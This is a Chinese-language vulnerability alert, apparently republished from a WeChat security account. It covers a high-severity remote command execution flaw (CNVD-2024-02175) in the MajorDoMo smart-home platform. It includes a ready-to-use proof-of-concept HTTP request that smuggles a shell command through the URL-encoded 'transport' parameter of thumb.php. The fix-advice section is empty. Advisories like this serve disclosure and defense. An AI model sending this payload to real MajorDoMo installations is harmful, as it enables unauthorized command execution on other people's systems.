-
CNVD-2024-02175
-
高危
MajorDoMo是MajorDoMo社区的一个开源DIY智能家居自动化平台。
-
MajorDoMo < 0662e5e
0x05 POC
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: {host}
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
0x06 修复建议
原文始发于微信公众号(浅安安全):漏洞预警 | MajorDoMo远程命令执行漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论